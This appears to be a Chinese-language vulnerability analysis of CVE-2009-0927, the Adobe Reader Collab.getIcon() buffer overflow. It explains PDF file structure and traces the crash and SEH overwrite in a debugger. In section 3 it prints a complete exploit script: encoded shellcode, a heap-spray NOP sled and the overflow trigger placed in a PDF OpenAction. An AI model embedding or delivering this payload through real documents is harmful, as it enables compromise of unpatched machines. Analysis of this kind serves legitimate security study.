1 CVE-2009-0927简介
Adobe Reader 是非常流行的 PDF 文件阅读器,在其 Collab 对象的 getIcon()函数中存在一 个缓冲区溢出漏洞。同时由于 PDF 文档中支持内嵌的 JavaScript,攻击者可以通过在 PDF 文档 中植入恶意的JavaScript来向getIcon()函数传递特制的参数以触发溢出漏洞,并结合Heap Spray 攻击来夺取计算机的控制权。
2 PDF文档格式简介
PDF是一种文本和二进制混排的格式,它由四个部分组成。
header:头部,用以标识PDF文档的版本。
Body:主体,包含PDF文档的主体内容,各部分以对象方式呈现。
cross-reference:交叉引用表,通过交叉引用表可以快速的找到PDF文档中的各种对象
trailer:尾部,包含交叉引用的摘要和交叉引用表的起始位置
%PDF-1.1 //头部,说明次 PDF 文档符合 PDF1.1 规范
1 0 obj
<<
/Type /Catalog //说明这个 obj 是 Catalog 对象
/Outlines 2 0 R //第二个 obj 是 Outlines
/Pages 3 0 R //第三个 obj 是 Pages
/OpenAction 7 0 R //第七个 obj 是OpenAction,听这个名字大家也应该能感觉到有点料, 文件打开时会执行它里边的脚本
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0 //0 表示没有书签
>> endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R] //说明它的孩子、页的对象号为 4
/Count 1 //说明页码数量为 1
>>
endobj
4 0 obj
<<
/Type /Page
/Parent 3 0 R //其父对象的对象号为 3
/MediaBox [0 0 612 792] //页面的显示大小,以象素为单位
/Contents 5 0 R //内容对象的对象号为 5
/Resources << //说明该页所要包含的资源,包括字体和内容的类型
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 98 >> //stream 对象为字节数,从 BT 开始,ET 结束,包括中间的行结束符 stream //流对象开始
BT /F1 12 Tf 100 700 Td 15 TL (Open File Error! Maybe the file is damaged! // 文本位置和内容
) Tj ET
endstream //流对象结束
endobj
6 0 obj
<<
/Type /Font //字体对象
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj
7 0 obj
<<
/Type /Action
/S /JavaScript /JS ( //可以放置 JavaScript 脚本,关键部分噢
)
>>
endobj
xref //交叉引用表
0 8 //说明下面的描述是从 0 号对象开始,数量为 8
0000000000 65535 f //一般每个 PDF 文件都是以这一行开始交叉应用表的,说明对象 0 的起始 地址 为 0000000000,产生号(generation number)为 65535,也是最大产生号,不可以再进行更改, 而且最 后对象的表示是 f, 表明该对象为 free
0000000010 00000 n //表示对象 1,也就是 catalog 对象了,0000000009 是其偏移地址,00000 为 5 位产生号,全 0 表明该对象未被修改过,n 表示该对象在使用。
0000000098 00000 n
0000000147 00000 n
0000000208 00000 n
0000000400 00000 n
0000000549 00000 n
0000000663 00000 n
trailer //尾部
<<
/Size 8 //该 PDF 对象数
/Root 1 0 R //根对象的对象号为 1
>>
startxref
1946 //交叉引用表的偏移地址
%%EOF //文件结束标志
3 漏洞原理
一个PDF文件被打开时会执行OpenAction对象里面的脚本,所以只要在OpenAction对象里添加精心构造的JS脚本就可以实现对Adobe Reader的攻击,我们通过分析如下的JS脚本来分析漏洞:
7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
var shellcode = unescape("%u68fc%u0a6a%u1e38%u6368%ud189%u684f%u7432%u0c91%uf48b%u7e8d%u33f4%ub7db%u2b04%u66e3%u33bb%u5332%u7568%u6573%u5472%ud233%u8b64%u305a%u4b8b%u8b0c%u1c49%u098b%u698b%uad08%u6a3d%u380a%u751e%u9505%u57ff%u95f8%u8b60%u3c45%u4c8b%u7805%ucd03%u598b%u0320%u33dd%u47ff%u348b%u03bb%u99f5%ube0f%u3a06%u74c4%uc108%u07ca%ud003%ueb46%u3bf1%u2454%u751c%u8be4%u2459%udd03%u8b66%u7b3c%u598b%u031c%u03dd%ubb2c%u5f95%u57ab%u3d61%u0a6a%u1e38%ua975%udb33%u6853%u6577%u7473%u6668%u6961%u8b6c%u53c4%u5050%uff53%ufc57%uff53%uf857");
var nops = unescape("%u9090%u9090");
while (nops.length < 0x100000)
nops += nops;
nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
nops=nops+shellcode;
var memory = new Array();
for (var i=0;i<200;i++)
memory[i] += nops;
var str = unescape("%0a%0a%0a%0a");
while(str.length < 0x6000)
str += str; app.doc.Collab.getIcon(str+'N.');
)
>>
Endobj
由于Metasploit生成的PDF中JS部分变量名使用了随机字符串,而且使用PDFStreamDumper无法提取JS部分,所以我就不分析整个PDF文件了。
实验环境如下:
环境 | 备注 | |
操作系统 | Windows XP SP3 | 运行在Vmware中 |
Adobe Reader | 9.0 中文版 | |
调试器 | Immunity Debugger | 1.8.3版本 |
首先使用 Metasploit生成利用脚本,我们选择最简单的使程序崩溃的脚本msf.pdf:
得到使程序崩溃的脚本后,我们使用Immunity Debugger打开(之所以不用OD,是因为我的OD运行后,无法在断点处停下来,所以换了ID)。初始运行该PDF后,程序报错为:向非法地址 0x00130000 写入数据报错,同时我们看到右侧栈显示调用了strncpy()函数报错,我们返回该地址 0x2210FE4E。
我们返回该区域后,可以看到程序依次调用了strrchr(),strpbrk(),strncpy()。程序漏洞应该发生在 strncpy()处,拷贝字符串时发生缓冲区溢出,覆盖了返回地址。我们依次分析三个函数,第一个 strrchr()函数是找到字符串中 "."的位置。第二个strpbrk()函数检查字符串所示的文件类型,这也是为什么溢出字符串以 “N.” 结尾。
按理说strncpy()函数会对拷贝字符串的长度进行检查,但是程序在调用strncpy()函数时将复制长度设置成源字符串的长度,相当于执行了 strcpy()函数,所以仍然会发生 缓冲区溢出漏洞。
我们继续向下执行到下面的strcat()函数,是将我们的shellcode依次拷贝,填充整个缓冲区。
我们进入上面的strcat()函数,最终在 0x781804D9处发现为拷贝字符串,经过多次 MOV操作,我们的整个缓冲区全被覆盖为 0A0A0A0A,当我们覆盖完 0x0012FFFC后,继续覆盖地址 0X00130000程序报错,访问非法地址。
我们可以看到0x00130000地址是只读,不能够写入,所以报错。
同时,我们可以看到程序 SEH链,发现SEH指针的头地址已经被覆盖为 0X0A0A0A0A。也就是我们程序出错进入异常处理之后,会首先去遍历 SEH链,看是否能够处理异常。
发现错误之后,Windows异常处理会先在用户态调用 KiUserExceptionDispatcher函数,如果程序在调试状态会将错误交给调试器。如果程序处于未调试状态,该函数将调用RtlDispatchException遍历线程的SEH链,SEH链的起始地址在TEB线程环境块的0字节偏移处。
这里,我们继续执行程序之后,程序执行第一个 SEH指针指向地址 0x0A0A0A0A,该区域是一连串无效指令。
经过一连串的无效指令后,程序最终进入 ntdll.dll中,执行 ZwTerminalProcess()函数,结束进程。
4 崩溃函数记录
1.在0x2228C03D中崩溃,call 0x2210FCE8,单步步入
2.在0x2210FCE8中崩溃,call jmp.&msvcr80.sstrcat,单步步入
3.在0x78180440中崩溃,mov dword ptr ds:[edi], edx, 内存访问异常